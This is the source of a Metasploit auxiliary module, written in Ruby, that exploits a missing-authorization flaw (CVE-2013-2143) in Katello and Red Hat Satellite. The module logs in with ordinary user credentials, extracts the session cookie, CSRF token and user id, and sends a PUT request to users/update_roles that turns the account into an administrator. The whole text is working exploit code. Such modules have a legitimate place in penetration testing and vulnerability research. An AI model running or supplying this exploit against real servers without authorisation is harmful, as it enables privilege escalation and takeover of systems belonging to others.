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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization', 'Description'=> %q{ This module exploits a missing authorization vulnerability in the "update_roles" action of "users" controller of Katello and Red Hat Satellite (Katello 1.5.0-14 and earlier) by changing the specified account to an administrator account. }, 'Author' => 'Ramon de C Valle', 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2013-2143'], ['CWE', '862'] ], 'DisclosureDate' => 'Mar 24 2014' ) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Your username']), OptString.new('PASSWORD', [true, 'Your password']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), ], self.class ) end def run print_status("Logging into #{target_url}...") res = send_request_cgi( 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'user_session', 'new'), 'vars_get' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /user_session\/new$/ print_error('Authentication failed') return else session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') return end end print_status('Retrieving the CSRF token for this session...') res = send_request_cgi( 'cookie' => "_katello_session=#{session}", 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'dashboard') ) if res.nil? print_error('No response from remote host') return end if res.headers['Location'] =~ /user_session\/new$/ print_error('Authentication failed') return else session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ if session.nil? print_error('Failed to retrieve the current session') return end end if res.headers['Location'] =~ /user_session\/new$/ print_error('Failed to retrieve the user id') return else csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil? if csrf_token.nil? print_error('Failed to retrieve the CSRF token') return end user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/ if user.nil? print_error('Failed to retrieve the user id') return end end print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...") res = send_request_cgi( 'cookie'=> "_katello_session=#{session}", 'headers' => { 'X-CSRF-Token' => csrf_token }, 'method'=> 'PUT', 'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'), 'vars_post' => { 'user[role_ids][]' => '1' } ) if res.nil? print_error('No response from remote host') return end if res.headers['X-Message-Type'] =~ /success$/ print_good('User updated successfully') else print_error('Failed to update user') end end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 "://#{vhost}" else "://#{vhost}:#{rport}" end + normalize_uri(target_uri.path, *args) end end |
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